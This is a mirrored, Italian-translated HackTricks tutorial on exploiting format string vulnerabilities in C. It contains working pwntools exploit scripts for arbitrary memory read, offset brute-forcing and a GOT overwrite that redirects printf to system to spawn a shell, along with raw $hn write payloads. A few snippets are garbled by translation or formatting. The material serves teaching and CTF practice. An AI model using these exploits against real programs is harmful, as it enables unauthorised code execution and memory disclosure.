Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/binary-exploitation/format-strings
History
Translator 8bf08c51a7 Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb
2024-07-18 17:35:13 +00:00
..
format-strings-arbitrary-read-example.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 17:35:13 +00:00
format-strings-template.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 17:35:13 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-04-15 03:55:20 +00:00

README.md

Stringhe di Formato

Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Informazioni di Base

In C printf è una funzione che può essere utilizzata per stampare una stringa. Il primo parametro che questa funzione si aspetta è il testo grezzo con i formattatori. I parametri successivi previsti sono i valori da sostituire ai formattatori nel testo grezzo.

Altre funzioni vulnerabili sono sprintf() e fprintf().

La vulnerabilità si manifesta quando un testo dell'attaccante viene utilizzato come primo argomento per questa funzione. L'attaccante sarà in grado di creare un input speciale sfruttando le capacità della stringa di formato printf per leggere e scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile). Essendo in grado in questo modo di eseguire codice arbitrario.

Formattatori:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Esempi:

  • Esempio vulnerabile:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso Normale:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Con argomenti mancanti:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerabile:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Accesso ai Puntatori

Il formato %<n>$x, dove n è un numero, consente di indicare a printf di selezionare il parametro n (dallo stack). Quindi, se si desidera leggere il 4° parametro dallo stack utilizzando printf, si potrebbe fare:

printf("%x %x %x %x")

e dovresti leggere dal primo al quarto parametro.

Oppure potresti fare:

printf("$4%x")

e leggere direttamente il quarto.

Si noti che l'attaccante controlla il parametro printf, il che significa fondamentalmente che il suo input sarà nello stack quando viene chiamato printf, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.

{% hint style="danger" %} Un attaccante che controlla questo input sarà in grado di aggiungere un indirizzo arbitrario nello stack e far sì che printf vi acceda. Nella sezione successiva verrà spiegato come sfruttare questo comportamento. {% endhint %}

Lettura Arbitraria

È possibile utilizzare il formato %n$s per fare in modo che printf ottenga l'indirizzo situato nella posizione n, seguendolo e stampandolo come se fosse una stringa (stampando fino a trovare un 0x00). Quindi se l'indirizzo base del binario è 0x8048000, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Nota che non puoi inserire l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà concatenata con 0x00 alla fine di quell'indirizzo. {% endhint %}

Trova l'offset

Per trovare l'offset del tuo input, potresti inviare 4 o 8 byte (0x41414141) seguiti da %1$x e aumentare il valore fino a recuperare gli A's.

Forza bruta per trovare l'offset di printf ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Quanto è utile

Le letture arbitrarie possono essere utili per:

- **Dump** del **file binario** dalla memoria
- **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canary, chiavi di crittografia o password personalizzate come in questa [**sfida CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Scrittura Arbitraria**

Il formattatore **`$<num>%n`** scrive il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere tanti caratteri quanti ne vuole con printf, sarà in grado di fare in modo che **`$<num>%n`** scriva un numero arbitrario in un indirizzo arbitrario.

Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input, per farlo è possibile utilizzare il formattatore **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Tuttavia, nota che di solito per scrivere un indirizzo come 0x08049724 (che è un ENORME numero da scrivere in una volta sola), si usa $hn invece di $n. Questo permette di scrivere solo 2 byte. Pertanto, questa operazione viene eseguita due volte, una per i primi 2 byte dell'indirizzo e un'altra volta per quelli più bassi.

Questa vulnerabilità permette di scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).

In questo esempio, l'obiettivo sarà sovrascrivere l'indirizzo di una funzione nella tabella GOT che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Andremo a sovrascrivere una funzione che riceve i suoi argomenti dall'utente e puntarla alla funzione system.
Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: prima si scrivono 2 byte dell'indirizzo e poi gli altri 2. Per fare ciò si usa $hn.

  • HOB si riferisce ai 2 byte più alti dell'indirizzo
  • LOB si riferisce ai 2 byte più bassi dell'indirizzo

Quindi, a causa di come funziona la stringa di formato, è necessario scrivere prima il più piccolo tra [HOB, LOB] e poi l'altro.

Se HOB < LOB
[indirizzo+2][indirizzo]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Se HOB > LOB
[indirizzo+2][indirizzo]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Modello di Pwntools

Puoi trovare un modello per preparare un exploit per questo tipo di vulnerabilità in:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Oppure questo esempio di base da qui:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Formati delle stringhe per BOF

È possibile abusare delle azioni di scrittura di una vulnerabilità di stringa di formato per scrivere negli indirizzi dello stack ed sfruttare una vulnerabilità di tipo buffer overflow.

Altri Esempi e Riferimenti